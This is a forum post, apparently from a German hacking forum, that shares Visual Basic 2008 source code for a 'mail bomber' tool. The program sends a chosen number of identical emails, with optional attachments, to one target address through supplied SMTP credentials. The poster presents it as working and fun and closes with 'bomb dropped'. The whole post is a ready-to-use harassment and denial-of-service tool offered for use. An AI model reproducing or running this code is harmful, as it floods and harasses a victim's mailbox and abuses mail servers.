Mail Bomer VB 2008

[br00_pwn]

@br00_pwn --- have fun :)

Public Class Form1
   

    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
        ProgressBar1.Visible = False
    End Sub
  

    Public Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click

        ProgressBar1.Visible = True


        If TextBox1.TextLength = 0 Then
            MsgBox("Bitte geben sie eine gültige Mail Adresse an !!!")
        End If

        If TextBox2.TextLength = 0 Then
            MsgBox("Bitte geben Sie die Anzahl der zusendenden Mail an !!!")
        End If


        Dim FileName As String = TextBox4.Text
        Dim sMailAddy As String = TextBox5.Text
        Dim sPass As String = TextBox6.Text
        Dim sSmtp As String = TextBox7.Text
        Dim iPort As Integer = TextBox8.Text
        Dim anhang As String = TextBox4.Text
        Dim betreff As String = TextBox3.Text
        Dim anzahl As Integer = TextBox2.Text

        TextBox4.Text = FileName
        sMailAddy = TextBox5.Text
        sPass = TextBox6.Text
        sSmtp = TextBox7.Text
        iPort = TextBox8.Text


        Dim a As Integer
        For a = 1 To TextBox2.Text

            ProgressBar1.Maximum = anzahl
            ProgressBar1.Minimum = 1
            ProgressBar1.Step = 1
            ProgressBar1.Value = a

            If ProgressBar1.Value = TextBox2.Text Then
                ProgressBar1.Visible = False
            End If



            Dim Msg As New MailMessage
            Dim myCredentials As New System.Net.NetworkCredential
            myCredentials.UserName = sMailAddy


            myCredentials.Password = sPass

            Msg.IsBodyHtml = False

            Dim mySmtpsvr As New SmtpClient()
            mySmtpsvr.Host = sSmtp
            mySmtpsvr.Port = iPort


            mySmtpsvr.UseDefaultCredentials = False
            mySmtpsvr.Credentials = myCredentials


            Try
                Msg.From = New MailAddress(sMailAddy)
                Msg.To.Add(TextBox1.Text)

                If TextBox4.TextLength > 0 Then
                    Msg.Subject = betreff
                End If

                Msg.Body = RichTextBox1.Text
                If TextBox4.TextLength > 0 Then

                    Msg.Attachments.Add(New Attachment(FileName))
                End If

                mySmtpsvr.Send(Msg)




            Catch ex As Exception
                MsgBox(Err.Number & ex.Message & ex.StackTrace.ToString)



            End Try

            ProgressBar1.PerformStep()



        Next




        MsgBox("!!! BOMBE WURDE ABGEWORFEN !!!")



    End Sub

    
End Class

hier hast du mal nen code von mir, der geht sicher...
ist mit progressbar ect....ganz nett das teil....
hf

edit// wen`s intressiert, ist die source von http://free-hack.com/showthread.php?t=35703